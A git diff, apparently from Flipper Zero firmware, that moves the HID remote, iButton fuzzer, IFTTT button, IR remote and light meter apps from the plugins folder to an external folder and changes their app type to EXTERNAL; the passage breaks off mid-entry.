--- a/applications/plugins/hid_app/application.fam +++ b/applications/external/hid_app/application.fam @@ -1,7 +1,7 @@ App( appid="hid_usb", name="USB Remote", - apptype=FlipperAppType.PLUGIN, + apptype=FlipperAppType.EXTERNAL, entry_point="hid_usb_app", stack_size=1 * 1024, fap_category="Tools", @@ -14,7 +14,7 @@ App( App( appid="hid_ble", name="Bluetooth Remote", - apptype=FlipperAppType.PLUGIN, + apptype=FlipperAppType.EXTERNAL, entry_point="hid_ble_app", stack_size=1 * 1024, fap_category="Tools", diff --git a/applications/plugins/hid_app/assets/Arr_dwn_7x9.png b/applications/external/hid_app/assets/Arr_dwn_7x9.png similarity index 100% rename from applications/plugins/hid_app/assets/Arr_dwn_7x9.png rename to applications/external/hid_app/assets/Arr_dwn_7x9.png diff --git a/applications/plugins/hid_app/assets/Arr_up_7x9.png b/applications/external/hid_app/assets/Arr_up_7x9.png similarity index 100% rename from applications/plugins/hid_app/assets/Arr_up_7x9.png rename to applications/external/hid_app/assets/Arr_up_7x9.png diff --git a/applications/plugins/hid_app/assets/Ble_connected_15x15.png b/applications/external/hid_app/assets/Ble_connected_15x15.png similarity index 100% rename from applications/plugins/hid_app/assets/Ble_connected_15x15.png rename to applications/external/hid_app/assets/Ble_connected_15x15.png diff --git a/applications/plugins/hid_app/assets/Ble_disconnected_15x15.png b/applications/external/hid_app/assets/Ble_disconnected_15x15.png similarity index 100% rename from applications/plugins/hid_app/assets/Ble_disconnected_15x15.png rename to applications/external/hid_app/assets/Ble_disconnected_15x15.png diff --git a/applications/plugins/hid_app/assets/ButtonDown_7x4.png b/applications/external/hid_app/assets/ButtonDown_7x4.png similarity index 100% rename from applications/plugins/hid_app/assets/ButtonDown_7x4.png rename to applications/external/hid_app/assets/ButtonDown_7x4.png diff --git a/applications/plugins/hid_app/assets/ButtonF10_5x8.png b/applications/external/hid_app/assets/ButtonF10_5x8.png similarity index 100% rename from applications/plugins/hid_app/assets/ButtonF10_5x8.png rename to applications/external/hid_app/assets/ButtonF10_5x8.png diff --git a/applications/plugins/hid_app/assets/ButtonF11_5x8.png b/applications/external/hid_app/assets/ButtonF11_5x8.png similarity index 100% rename from applications/plugins/hid_app/assets/ButtonF11_5x8.png rename to applications/external/hid_app/assets/ButtonF11_5x8.png diff --git a/applications/plugins/hid_app/assets/ButtonF12_5x8.png b/applications/external/hid_app/assets/ButtonF12_5x8.png similarity index 100% rename from applications/plugins/hid_app/assets/ButtonF12_5x8.png rename to applications/external/hid_app/assets/ButtonF12_5x8.png diff --git a/applications/plugins/hid_app/assets/ButtonF1_5x8.png b/applications/external/hid_app/assets/ButtonF1_5x8.png similarity index 100% rename from applications/plugins/hid_app/assets/ButtonF1_5x8.png rename to applications/external/hid_app/assets/ButtonF1_5x8.png diff --git a/applications/plugins/hid_app/assets/ButtonF2_5x8.png b/applications/external/hid_app/assets/ButtonF2_5x8.png similarity index 100% rename from applications/plugins/hid_app/assets/ButtonF2_5x8.png rename to applications/external/hid_app/assets/ButtonF2_5x8.png diff --git a/applications/plugins/hid_app/assets/ButtonF3_5x8.png b/applications/external/hid_app/assets/ButtonF3_5x8.png similarity index 100% rename from applications/plugins/hid_app/assets/ButtonF3_5x8.png rename to applications/external/hid_app/assets/ButtonF3_5x8.png diff --git a/applications/plugins/hid_app/assets/ButtonF4_5x8.png b/applications/external/hid_app/assets/ButtonF4_5x8.png similarity index 100% rename from applications/plugins/hid_app/assets/ButtonF4_5x8.png rename to applications/external/hid_app/assets/ButtonF4_5x8.png diff --git a/applications/plugins/hid_app/assets/ButtonF5_5x8.png b/applications/external/hid_app/assets/ButtonF5_5x8.png similarity index 100% rename from applications/plugins/hid_app/assets/ButtonF5_5x8.png rename to applications/external/hid_app/assets/ButtonF5_5x8.png diff --git a/applications/plugins/hid_app/assets/ButtonF6_5x8.png b/applications/external/hid_app/assets/ButtonF6_5x8.png similarity index 100% rename from applications/plugins/hid_app/assets/ButtonF6_5x8.png rename to applications/external/hid_app/assets/ButtonF6_5x8.png diff --git a/applications/plugins/hid_app/assets/ButtonF7_5x8.png b/applications/external/hid_app/assets/ButtonF7_5x8.png similarity index 100% rename from applications/plugins/hid_app/assets/ButtonF7_5x8.png rename to applications/external/hid_app/assets/ButtonF7_5x8.png diff --git a/applications/plugins/hid_app/assets/ButtonF8_5x8.png b/applications/external/hid_app/assets/ButtonF8_5x8.png similarity index 100% rename from applications/plugins/hid_app/assets/ButtonF8_5x8.png rename to applications/external/hid_app/assets/ButtonF8_5x8.png diff --git a/applications/plugins/hid_app/assets/ButtonF9_5x8.png b/applications/external/hid_app/assets/ButtonF9_5x8.png similarity index 100% rename from applications/plugins/hid_app/assets/ButtonF9_5x8.png rename to applications/external/hid_app/assets/ButtonF9_5x8.png diff --git a/applications/plugins/hid_app/assets/ButtonLeft_4x7.png b/applications/external/hid_app/assets/ButtonLeft_4x7.png similarity index 100% rename from applications/plugins/hid_app/assets/ButtonLeft_4x7.png rename to applications/external/hid_app/assets/ButtonLeft_4x7.png diff --git a/applications/plugins/hid_app/assets/ButtonRight_4x7.png b/applications/external/hid_app/assets/ButtonRight_4x7.png similarity index 100% rename from applications/plugins/hid_app/assets/ButtonRight_4x7.png rename to applications/external/hid_app/assets/ButtonRight_4x7.png diff --git a/applications/plugins/hid_app/assets/ButtonUp_7x4.png b/applications/external/hid_app/assets/ButtonUp_7x4.png similarity index 100% rename from applications/plugins/hid_app/assets/ButtonUp_7x4.png rename to applications/external/hid_app/assets/ButtonUp_7x4.png diff --git a/applications/plugins/hid_app/assets/Button_18x18.png b/applications/external/hid_app/assets/Button_18x18.png similarity index 100% rename from applications/plugins/hid_app/assets/Button_18x18.png rename to applications/external/hid_app/assets/Button_18x18.png diff --git a/applications/plugins/hid_app/assets/Circles_47x47.png b/applications/external/hid_app/assets/Circles_47x47.png similarity index 100% rename from applications/plugins/hid_app/assets/Circles_47x47.png rename to applications/external/hid_app/assets/Circles_47x47.png diff --git a/applications/plugins/hid_app/assets/Left_mouse_icon_9x9.png b/applications/external/hid_app/assets/Left_mouse_icon_9x9.png similarity index 100% rename from applications/plugins/hid_app/assets/Left_mouse_icon_9x9.png rename to applications/external/hid_app/assets/Left_mouse_icon_9x9.png diff --git a/applications/plugins/hid_app/assets/Like_def_11x9.png b/applications/external/hid_app/assets/Like_def_11x9.png similarity index 100% rename from applications/plugins/hid_app/assets/Like_def_11x9.png rename to applications/external/hid_app/assets/Like_def_11x9.png diff --git a/applications/plugins/hid_app/assets/Like_pressed_17x17.png b/applications/external/hid_app/assets/Like_pressed_17x17.png similarity index 100% rename from applications/plugins/hid_app/assets/Like_pressed_17x17.png rename to applications/external/hid_app/assets/Like_pressed_17x17.png diff --git a/applications/plugins/hid_app/assets/Ok_btn_9x9.png b/applications/external/hid_app/assets/Ok_btn_9x9.png similarity index 100% rename from applications/plugins/hid_app/assets/Ok_btn_9x9.png rename to applications/external/hid_app/assets/Ok_btn_9x9.png diff --git a/applications/plugins/hid_app/assets/Ok_btn_pressed_13x13.png b/applications/external/hid_app/assets/Ok_btn_pressed_13x13.png similarity index 100% rename from applications/plugins/hid_app/assets/Ok_btn_pressed_13x13.png rename to applications/external/hid_app/assets/Ok_btn_pressed_13x13.png diff --git a/applications/plugins/hid_app/assets/Pin_arrow_down_7x9.png b/applications/external/hid_app/assets/Pin_arrow_down_7x9.png similarity index 100% rename from applications/plugins/hid_app/assets/Pin_arrow_down_7x9.png rename to applications/external/hid_app/assets/Pin_arrow_down_7x9.png diff --git a/applications/plugins/hid_app/assets/Pin_arrow_left_9x7.png b/applications/external/hid_app/assets/Pin_arrow_left_9x7.png similarity index 100% rename from applications/plugins/hid_app/assets/Pin_arrow_left_9x7.png rename to applications/external/hid_app/assets/Pin_arrow_left_9x7.png diff --git a/applications/plugins/hid_app/assets/Pin_arrow_right_9x7.png b/applications/external/hid_app/assets/Pin_arrow_right_9x7.png similarity index 100% rename from applications/plugins/hid_app/assets/Pin_arrow_right_9x7.png rename to applications/external/hid_app/assets/Pin_arrow_right_9x7.png diff --git a/applications/plugins/hid_app/assets/Pin_arrow_up_7x9.png b/applications/external/hid_app/assets/Pin_arrow_up_7x9.png similarity index 100% rename from applications/plugins/hid_app/assets/Pin_arrow_up_7x9.png rename to applications/external/hid_app/assets/Pin_arrow_up_7x9.png diff --git a/applications/plugins/hid_app/assets/Pin_back_arrow_10x8.png b/applications/external/hid_app/assets/Pin_back_arrow_10x8.png similarity index 100% rename from applications/plugins/hid_app/assets/Pin_back_arrow_10x8.png rename to applications/external/hid_app/assets/Pin_back_arrow_10x8.png diff --git a/applications/plugins/hid_app/assets/Pressed_Button_13x13.png b/applications/external/hid_app/assets/Pressed_Button_13x13.png similarity index 100% rename from applications/plugins/hid_app/assets/Pressed_Button_13x13.png rename to applications/external/hid_app/assets/Pressed_Button_13x13.png diff --git a/applications/plugins/hid_app/assets/Right_mouse_icon_9x9.png b/applications/external/hid_app/assets/Right_mouse_icon_9x9.png similarity index 100% rename from applications/plugins/hid_app/assets/Right_mouse_icon_9x9.png rename to applications/external/hid_app/assets/Right_mouse_icon_9x9.png diff --git a/applications/plugins/hid_app/assets/Space_65x18.png b/applications/external/hid_app/assets/Space_65x18.png similarity index 100% rename from applications/plugins/hid_app/assets/Space_65x18.png rename to applications/external/hid_app/assets/Space_65x18.png diff --git a/applications/plugins/hid_app/assets/Voldwn_6x6.png b/applications/external/hid_app/assets/Voldwn_6x6.png similarity index 100% rename from applications/plugins/hid_app/assets/Voldwn_6x6.png rename to applications/external/hid_app/assets/Voldwn_6x6.png diff --git a/applications/plugins/hid_app/assets/Volup_8x6.png b/applications/external/hid_app/assets/Volup_8x6.png similarity index 100% rename from applications/plugins/hid_app/assets/Volup_8x6.png rename to applications/external/hid_app/assets/Volup_8x6.png diff --git a/applications/plugins/hid_app/hid.c b/applications/external/hid_app/hid.c similarity index 100% rename from applications/plugins/hid_app/hid.c rename to applications/external/hid_app/hid.c diff --git a/applications/plugins/hid_app/hid.h b/applications/external/hid_app/hid.h similarity index 100% rename from applications/plugins/hid_app/hid.h rename to applications/external/hid_app/hid.h diff --git a/applications/plugins/hid_app/hid_ble_10px.png b/applications/external/hid_app/hid_ble_10px.png similarity index 100% rename from applications/plugins/hid_app/hid_ble_10px.png rename to applications/external/hid_app/hid_ble_10px.png diff --git a/applications/plugins/hid_app/hid_usb_10px.png b/applications/external/hid_app/hid_usb_10px.png similarity index 100% rename from applications/plugins/hid_app/hid_usb_10px.png rename to applications/external/hid_app/hid_usb_10px.png diff --git a/applications/plugins/hid_app/views.h b/applications/external/hid_app/views.h similarity index 100% rename from applications/plugins/hid_app/views.h rename to applications/external/hid_app/views.h diff --git a/applications/plugins/hid_app/views/hid_keyboard.c b/applications/external/hid_app/views/hid_keyboard.c similarity index 100% rename from applications/plugins/hid_app/views/hid_keyboard.c rename to applications/external/hid_app/views/hid_keyboard.c diff --git a/applications/plugins/hid_app/views/hid_keyboard.h b/applications/external/hid_app/views/hid_keyboard.h similarity index 100% rename from applications/plugins/hid_app/views/hid_keyboard.h rename to applications/external/hid_app/views/hid_keyboard.h diff --git a/applications/plugins/hid_app/views/hid_keynote.c b/applications/external/hid_app/views/hid_keynote.c similarity index 100% rename from applications/plugins/hid_app/views/hid_keynote.c rename to applications/external/hid_app/views/hid_keynote.c diff --git a/applications/plugins/hid_app/views/hid_keynote.h b/applications/external/hid_app/views/hid_keynote.h similarity index 100% rename from applications/plugins/hid_app/views/hid_keynote.h rename to applications/external/hid_app/views/hid_keynote.h diff --git a/applications/plugins/hid_app/views/hid_media.c b/applications/external/hid_app/views/hid_media.c similarity index 100% rename from applications/plugins/hid_app/views/hid_media.c rename to applications/external/hid_app/views/hid_media.c diff --git a/applications/plugins/hid_app/views/hid_media.h b/applications/external/hid_app/views/hid_media.h similarity index 100% rename from applications/plugins/hid_app/views/hid_media.h rename to applications/external/hid_app/views/hid_media.h diff --git a/applications/plugins/hid_app/views/hid_mouse.c b/applications/external/hid_app/views/hid_mouse.c similarity index 100% rename from applications/plugins/hid_app/views/hid_mouse.c rename to applications/external/hid_app/views/hid_mouse.c diff --git a/applications/plugins/hid_app/views/hid_mouse.h b/applications/external/hid_app/views/hid_mouse.h similarity index 100% rename from applications/plugins/hid_app/views/hid_mouse.h rename to applications/external/hid_app/views/hid_mouse.h diff --git a/applications/plugins/hid_app/views/hid_mouse_jiggler.c b/applications/external/hid_app/views/hid_mouse_jiggler.c similarity index 100% rename from applications/plugins/hid_app/views/hid_mouse_jiggler.c rename to applications/external/hid_app/views/hid_mouse_jiggler.c diff --git a/applications/plugins/hid_app/views/hid_mouse_jiggler.h b/applications/external/hid_app/views/hid_mouse_jiggler.h similarity index 100% rename from applications/plugins/hid_app/views/hid_mouse_jiggler.h rename to applications/external/hid_app/views/hid_mouse_jiggler.h diff --git a/applications/plugins/hid_app/views/hid_tiktok.c b/applications/external/hid_app/views/hid_tiktok.c similarity index 100% rename from applications/plugins/hid_app/views/hid_tiktok.c rename to applications/external/hid_app/views/hid_tiktok.c diff --git a/applications/plugins/hid_app/views/hid_tiktok.h b/applications/external/hid_app/views/hid_tiktok.h similarity index 100% rename from applications/plugins/hid_app/views/hid_tiktok.h rename to applications/external/hid_app/views/hid_tiktok.h diff --git a/applications/plugins/ibtn_fuzzer/LICENSE.md b/applications/external/ibtn_fuzzer/LICENSE.md similarity index 100% rename from applications/plugins/ibtn_fuzzer/LICENSE.md rename to applications/external/ibtn_fuzzer/LICENSE.md diff --git a/applications/plugins/ibtn_fuzzer/application.fam b/applications/external/ibtn_fuzzer/application.fam similarity index 100% rename from applications/plugins/ibtn_fuzzer/application.fam rename to applications/external/ibtn_fuzzer/application.fam diff --git a/applications/plugins/ibtn_fuzzer/ibtnfuzzer.c b/applications/external/ibtn_fuzzer/ibtnfuzzer.c similarity index 100% rename from applications/plugins/ibtn_fuzzer/ibtnfuzzer.c rename to applications/external/ibtn_fuzzer/ibtnfuzzer.c diff --git a/applications/plugins/ibtn_fuzzer/ibtnfuzzer.h b/applications/external/ibtn_fuzzer/ibtnfuzzer.h similarity index 100% rename from applications/plugins/ibtn_fuzzer/ibtnfuzzer.h rename to applications/external/ibtn_fuzzer/ibtnfuzzer.h diff --git a/applications/plugins/ibtn_fuzzer/ibutt_10px.png b/applications/external/ibtn_fuzzer/ibutt_10px.png similarity index 100% rename from applications/plugins/ibtn_fuzzer/ibutt_10px.png rename to applications/external/ibtn_fuzzer/ibutt_10px.png diff --git a/applications/plugins/ibtn_fuzzer/images/ibutt_10px.png b/applications/external/ibtn_fuzzer/images/ibutt_10px.png similarity index 100% rename from applications/plugins/ibtn_fuzzer/images/ibutt_10px.png rename to applications/external/ibtn_fuzzer/images/ibutt_10px.png diff --git a/applications/plugins/ibtn_fuzzer/scene/ibtnfuzzer_scene_entrypoint.c b/applications/external/ibtn_fuzzer/scene/ibtnfuzzer_scene_entrypoint.c similarity index 100% rename from applications/plugins/ibtn_fuzzer/scene/ibtnfuzzer_scene_entrypoint.c rename to applications/external/ibtn_fuzzer/scene/ibtnfuzzer_scene_entrypoint.c diff --git a/applications/plugins/ibtn_fuzzer/scene/ibtnfuzzer_scene_entrypoint.h b/applications/external/ibtn_fuzzer/scene/ibtnfuzzer_scene_entrypoint.h similarity index 100% rename from applications/plugins/ibtn_fuzzer/scene/ibtnfuzzer_scene_entrypoint.h rename to applications/external/ibtn_fuzzer/scene/ibtnfuzzer_scene_entrypoint.h diff --git a/applications/plugins/ibtn_fuzzer/scene/ibtnfuzzer_scene_load_custom_uids.c b/applications/external/ibtn_fuzzer/scene/ibtnfuzzer_scene_load_custom_uids.c similarity index 100% rename from applications/plugins/ibtn_fuzzer/scene/ibtnfuzzer_scene_load_custom_uids.c rename to applications/external/ibtn_fuzzer/scene/ibtnfuzzer_scene_load_custom_uids.c diff --git a/applications/plugins/ibtn_fuzzer/scene/ibtnfuzzer_scene_load_custom_uids.h b/applications/external/ibtn_fuzzer/scene/ibtnfuzzer_scene_load_custom_uids.h similarity index 100% rename from applications/plugins/ibtn_fuzzer/scene/ibtnfuzzer_scene_load_custom_uids.h rename to applications/external/ibtn_fuzzer/scene/ibtnfuzzer_scene_load_custom_uids.h diff --git a/applications/plugins/ibtn_fuzzer/scene/ibtnfuzzer_scene_load_file.c b/applications/external/ibtn_fuzzer/scene/ibtnfuzzer_scene_load_file.c similarity index 100% rename from applications/plugins/ibtn_fuzzer/scene/ibtnfuzzer_scene_load_file.c rename to applications/external/ibtn_fuzzer/scene/ibtnfuzzer_scene_load_file.c diff --git a/applications/plugins/ibtn_fuzzer/scene/ibtnfuzzer_scene_load_file.h b/applications/external/ibtn_fuzzer/scene/ibtnfuzzer_scene_load_file.h similarity index 100% rename from applications/plugins/ibtn_fuzzer/scene/ibtnfuzzer_scene_load_file.h rename to applications/external/ibtn_fuzzer/scene/ibtnfuzzer_scene_load_file.h diff --git a/applications/plugins/ibtn_fuzzer/scene/ibtnfuzzer_scene_run_attack.c b/applications/external/ibtn_fuzzer/scene/ibtnfuzzer_scene_run_attack.c similarity index 100% rename from applications/plugins/ibtn_fuzzer/scene/ibtnfuzzer_scene_run_attack.c rename to applications/external/ibtn_fuzzer/scene/ibtnfuzzer_scene_run_attack.c diff --git a/applications/plugins/ibtn_fuzzer/scene/ibtnfuzzer_scene_run_attack.h b/applications/external/ibtn_fuzzer/scene/ibtnfuzzer_scene_run_attack.h similarity index 100% rename from applications/plugins/ibtn_fuzzer/scene/ibtnfuzzer_scene_run_attack.h rename to applications/external/ibtn_fuzzer/scene/ibtnfuzzer_scene_run_attack.h diff --git a/applications/plugins/ibtn_fuzzer/scene/ibtnfuzzer_scene_select_field.c b/applications/external/ibtn_fuzzer/scene/ibtnfuzzer_scene_select_field.c similarity index 100% rename from applications/plugins/ibtn_fuzzer/scene/ibtnfuzzer_scene_select_field.c rename to applications/external/ibtn_fuzzer/scene/ibtnfuzzer_scene_select_field.c diff --git a/applications/plugins/ibtn_fuzzer/scene/ibtnfuzzer_scene_select_field.h b/applications/external/ibtn_fuzzer/scene/ibtnfuzzer_scene_select_field.h similarity index 100% rename from applications/plugins/ibtn_fuzzer/scene/ibtnfuzzer_scene_select_field.h rename to applications/external/ibtn_fuzzer/scene/ibtnfuzzer_scene_select_field.h diff --git a/applications/plugins/ifttt/application.fam b/applications/external/ifttt/application.fam similarity index 100% rename from applications/plugins/ifttt/application.fam rename to applications/external/ifttt/application.fam diff --git a/applications/plugins/ifttt/icon.png b/applications/external/ifttt/icon.png similarity index 100% rename from applications/plugins/ifttt/icon.png rename to applications/external/ifttt/icon.png diff --git a/applications/plugins/ifttt/ifttt_virtual_button.c b/applications/external/ifttt/ifttt_virtual_button.c similarity index 100% rename from applications/plugins/ifttt/ifttt_virtual_button.c rename to applications/external/ifttt/ifttt_virtual_button.c diff --git a/applications/plugins/ifttt/ifttt_virtual_button.h b/applications/external/ifttt/ifttt_virtual_button.h similarity index 100% rename from applications/plugins/ifttt/ifttt_virtual_button.h rename to applications/external/ifttt/ifttt_virtual_button.h diff --git a/applications/plugins/ifttt/scenes/virtual_button_scene.c b/applications/external/ifttt/scenes/virtual_button_scene.c similarity index 100% rename from applications/plugins/ifttt/scenes/virtual_button_scene.c rename to applications/external/ifttt/scenes/virtual_button_scene.c diff --git a/applications/plugins/ifttt/scenes/virtual_button_scene.h b/applications/external/ifttt/scenes/virtual_button_scene.h similarity index 100% rename from applications/plugins/ifttt/scenes/virtual_button_scene.h rename to applications/external/ifttt/scenes/virtual_button_scene.h diff --git a/applications/plugins/ifttt/scenes/virtual_button_scene_about.c b/applications/external/ifttt/scenes/virtual_button_scene_about.c similarity index 100% rename from applications/plugins/ifttt/scenes/virtual_button_scene_about.c rename to applications/external/ifttt/scenes/virtual_button_scene_about.c diff --git a/applications/plugins/ifttt/scenes/virtual_button_scene_config.h b/applications/external/ifttt/scenes/virtual_button_scene_config.h similarity index 100% rename from applications/plugins/ifttt/scenes/virtual_button_scene_config.h rename to applications/external/ifttt/scenes/virtual_button_scene_config.h diff --git a/applications/plugins/ifttt/scenes/virtual_button_scene_send.c b/applications/external/ifttt/scenes/virtual_button_scene_send.c similarity index 100% rename from applications/plugins/ifttt/scenes/virtual_button_scene_send.c rename to applications/external/ifttt/scenes/virtual_button_scene_send.c diff --git a/applications/plugins/ifttt/scenes/virtual_button_scene_start.c b/applications/external/ifttt/scenes/virtual_button_scene_start.c similarity index 100% rename from applications/plugins/ifttt/scenes/virtual_button_scene_start.c rename to applications/external/ifttt/scenes/virtual_button_scene_start.c diff --git a/applications/plugins/ifttt/views/about_view.c b/applications/external/ifttt/views/about_view.c similarity index 100% rename from applications/plugins/ifttt/views/about_view.c rename to applications/external/ifttt/views/about_view.c diff --git a/applications/plugins/ifttt/views/about_view.h b/applications/external/ifttt/views/about_view.h similarity index 100% rename from applications/plugins/ifttt/views/about_view.h rename to applications/external/ifttt/views/about_view.h diff --git a/applications/plugins/ifttt/views/send_view.c b/applications/external/ifttt/views/send_view.c similarity index 100% rename from applications/plugins/ifttt/views/send_view.c rename to applications/external/ifttt/views/send_view.c diff --git a/applications/plugins/ifttt/views/send_view.h b/applications/external/ifttt/views/send_view.h similarity index 100% rename from applications/plugins/ifttt/views/send_view.h rename to applications/external/ifttt/views/send_view.h diff --git a/applications/plugins/ir_remote/application.fam b/applications/external/ir_remote/application.fam similarity index 100% rename from applications/plugins/ir_remote/application.fam rename to applications/external/ir_remote/application.fam diff --git a/applications/plugins/ir_remote/images/ButtonDown_7x4.png b/applications/external/ir_remote/images/ButtonDown_7x4.png similarity index 100% rename from applications/plugins/ir_remote/images/ButtonDown_7x4.png rename to applications/external/ir_remote/images/ButtonDown_7x4.png diff --git a/applications/plugins/ir_remote/images/ButtonLeft_4x7.png b/applications/external/ir_remote/images/ButtonLeft_4x7.png similarity index 100% rename from applications/plugins/ir_remote/images/ButtonLeft_4x7.png rename to applications/external/ir_remote/images/ButtonLeft_4x7.png diff --git a/applications/plugins/ir_remote/images/ButtonRight_4x7.png b/applications/external/ir_remote/images/ButtonRight_4x7.png similarity index 100% rename from applications/plugins/ir_remote/images/ButtonRight_4x7.png rename to applications/external/ir_remote/images/ButtonRight_4x7.png diff --git a/applications/plugins/ir_remote/images/ButtonUp_7x4.png b/applications/external/ir_remote/images/ButtonUp_7x4.png similarity index 100% rename from applications/plugins/ir_remote/images/ButtonUp_7x4.png rename to applications/external/ir_remote/images/ButtonUp_7x4.png diff --git a/applications/plugins/ir_remote/images/Ok_btn_9x9.png b/applications/external/ir_remote/images/Ok_btn_9x9.png similarity index 100% rename from applications/plugins/ir_remote/images/Ok_btn_9x9.png rename to applications/external/ir_remote/images/Ok_btn_9x9.png diff --git a/applications/plugins/ir_remote/images/back_10px.png b/applications/external/ir_remote/images/back_10px.png similarity index 100% rename from applications/plugins/ir_remote/images/back_10px.png rename to applications/external/ir_remote/images/back_10px.png diff --git a/applications/plugins/ir_remote/images/sub1_10px.png b/applications/external/ir_remote/images/sub1_10px.png similarity index 100% rename from applications/plugins/ir_remote/images/sub1_10px.png rename to applications/external/ir_remote/images/sub1_10px.png diff --git a/applications/plugins/ir_remote/infrared_remote.c b/applications/external/ir_remote/infrared_remote.c similarity index 100% rename from applications/plugins/ir_remote/infrared_remote.c rename to applications/external/ir_remote/infrared_remote.c diff --git a/applications/plugins/ir_remote/infrared_remote.h b/applications/external/ir_remote/infrared_remote.h similarity index 100% rename from applications/plugins/ir_remote/infrared_remote.h rename to applications/external/ir_remote/infrared_remote.h diff --git a/applications/plugins/ir_remote/infrared_remote_app.c b/applications/external/ir_remote/infrared_remote_app.c similarity index 100% rename from applications/plugins/ir_remote/infrared_remote_app.c rename to applications/external/ir_remote/infrared_remote_app.c diff --git a/applications/plugins/ir_remote/infrared_remote_button.c b/applications/external/ir_remote/infrared_remote_button.c similarity index 100% rename from applications/plugins/ir_remote/infrared_remote_button.c rename to applications/external/ir_remote/infrared_remote_button.c diff --git a/applications/plugins/ir_remote/infrared_remote_button.h b/applications/external/ir_remote/infrared_remote_button.h similarity index 100% rename from applications/plugins/ir_remote/infrared_remote_button.h rename to applications/external/ir_remote/infrared_remote_button.h diff --git a/applications/plugins/ir_remote/infrared_signal.c b/applications/external/ir_remote/infrared_signal.c similarity index 100% rename from applications/plugins/ir_remote/infrared_signal.c rename to applications/external/ir_remote/infrared_signal.c diff --git a/applications/plugins/ir_remote/infrared_signal.h b/applications/external/ir_remote/infrared_signal.h similarity index 100% rename from applications/plugins/ir_remote/infrared_signal.h rename to applications/external/ir_remote/infrared_signal.h diff --git a/applications/plugins/ir_remote/ir_10px.png b/applications/external/ir_remote/ir_10px.png similarity index 100% rename from applications/plugins/ir_remote/ir_10px.png rename to applications/external/ir_remote/ir_10px.png diff --git a/applications/plugins/lightmeter/LICENSE b/applications/external/lightmeter/LICENSE similarity index 100% rename from applications/plugins/lightmeter/LICENSE rename to applications/external/lightmeter/LICENSE diff --git a/applications/plugins/lightmeter/README.md b/applications/external/lightmeter/README.md similarity index 100% rename from applications/plugins/lightmeter/README.md rename to applications/external/lightmeter/README.md diff --git a/applications/plugins/lightmeter/application.fam b/applications/external/lightmeter/application.fam similarity index 100% rename from applications/plugins/lightmeter/application.fam rename to applications/external/lightmeter/application.fam diff --git a/applications/plugins/lightmeter/gui/scenes/config/lightmeter_scene.c b/applications/external/lightmeter/gui/scenes/config/lightmeter_scene.c similarity index 100% rename from applications/plugins/lightmeter/gui/scenes/config/lightmeter_scene.c rename to applications/external/lightmeter/gui/scenes/config/lightmeter_scene.c diff --git a/applications/plugins/lightmeter/gui/scenes/config/lightmeter_scene.h b/applications/external/lightmeter/gui/scenes/config/lightmeter_scene.h similarity index 100% rename from applications/plugins/lightmeter/gui/scenes/config/lightmeter_scene.h rename to applications/external/lightmeter/gui/scenes/config/lightmeter_scene.h diff --git a/applications/plugins/lightmeter/gui/scenes/config/lightmeter_scene_config.h b/applications/external/lightmeter/gui/scenes/config/lightmeter_scene_config.h similarity index 100% rename from applications/plugins/lightmeter/gui/scenes/config/lightmeter_scene_config.h rename to applications/external/lightmeter/gui/scenes/config/lightmeter_scene_config.h diff --git a/applications/plugins/lightmeter/gui/scenes/lightmeter_scene_about.c b/applications/external/lightmeter/gui/scenes/lightmeter_scene_about.c similarity index 100% rename from applications/plugins/lightmeter/gui/scenes/lightmeter_scene_about.c rename to applications/external/lightmeter/gui/scenes/lightmeter_scene_about.c diff --git a/applications/plugins/lightmeter/gui/scenes/lightmeter_scene_config.c b/applications/external/lightmeter/gui/scenes/lightmeter_scene_config.c similarity index 100% rename from applications/plugins/lightmeter/gui/scenes/lightmeter_scene_config.c rename to applications/external/lightmeter/gui/scenes/lightmeter_scene_config.c diff --git a/applications/plugins/lightmeter/gui/scenes/lightmeter_scene_help.c b/applications/external/lightmeter/gui/scenes/lightmeter_scene_help.c similarity index 100% rename from applications/plugins/lightmeter/gui/scenes/lightmeter_scene_help.c rename to applications/external/lightmeter/gui/scenes/lightmeter_scene_help.c diff --git a/applications/plugins/lightmeter/gui/scenes/lightmeter_scene_main.c b/applications/external/lightmeter/gui/scenes/lightmeter_scene_main.c similarity index 100% rename from applications/plugins/lightmeter/gui/scenes/lightmeter_scene_main.c rename to applications/external/lightmeter/gui/scenes/lightmeter_scene_main.c diff --git a/applications/plugins/lightmeter/gui/views/main_view.c b/applications/external/lightmeter/gui/views/main_view.c similarity index 100% rename from applications/plugins/lightmeter/gui/views/main_view.c rename to applications/external/lightmeter/gui/views/main_view.c diff --git a/applications/plugins/lightmeter/gui/views/main_view.h b/applications/external/lightmeter/gui/views/main_view.h similarity index 100% rename from applications/plugins/lightmeter/gui/views/main_view.h rename to applications/external/lightmeter/gui/views/main_view.h diff --git a/applications/plugins/lightmeter/icons/T_10x14.png b/applications/external/lightmeter/icons/T_10x14.png similarity index 100% rename from applications/plugins/lightmeter/icons/T_10x14.png rename to applications/external/lightmeter/icons/T_10x14.png diff --git a/applications/plugins/lightmeter/icons/f_10x14.png b/applications/external/lightmeter/icons/f_10x14.png similarity index 100% rename from applications/plugins/lightmeter/icons/f_10x14.png rename to applications/external/lightmeter/icons/f_10x14.png diff --git a/applications/plugins/lightmeter/lib/BH1750/BH1750.c b/applications/external/lightmeter/lib/BH1750/BH1750.c similarity index 100% rename from applications/plugins/lightmeter/lib/BH1750/BH1750.c rename to applications/external/lightmeter/lib/BH1750/BH1750.c diff --git a/applications/plugins/lightmeter/lib/BH1750/BH1750.h b/applications/external/lightmeter/lib/BH1750/BH1750.h similarity index 100% rename from applications/plugins/lightmeter/lib/BH1750/BH1750.h rename to applications/external/lightmeter/lib/BH1750/BH1750.h diff --git a/applications/plugins/lightmeter/lib/BH1750/LICENSE b/applications/external/lightmeter/lib/BH1750/LICENSE similarity index 100% rename from applications/plugins/lightmeter/lib/BH1750/LICENSE rename to applications/external/lightmeter/lib/BH1750/LICENSE diff --git a/applications/plugins/lightmeter/lib/BH1750/README.md b/applications/external/lightmeter/lib/BH1750/README.md similarity index 100% rename from applications/plugins/lightmeter/lib/BH1750/README.md rename to applications/external/lightmeter/lib/BH1750/README.md diff --git a/applications/plugins/lightmeter/lib/BH1750/docs/BH1750.pdf b/applications/external/lightmeter/lib/BH1750/docs/BH1750.pdf similarity index 100% rename from applications/plugins/lightmeter/lib/BH1750/docs/BH1750.pdf rename to applications/external/lightmeter/lib/BH1750/docs/BH1750.pdf diff --git a/applications/plugins/lightmeter/lightmeter.c b/applications/external/lightmeter/lightmeter.c similarity index 100% rename from applications/plugins/lightmeter/lightmeter.c rename to applications/external/lightmeter/lightmeter.c diff --git a/applications/plugins/lightmeter/lightmeter.h b/applications/external/lightmeter/lightmeter.h similarity index 100% rename from 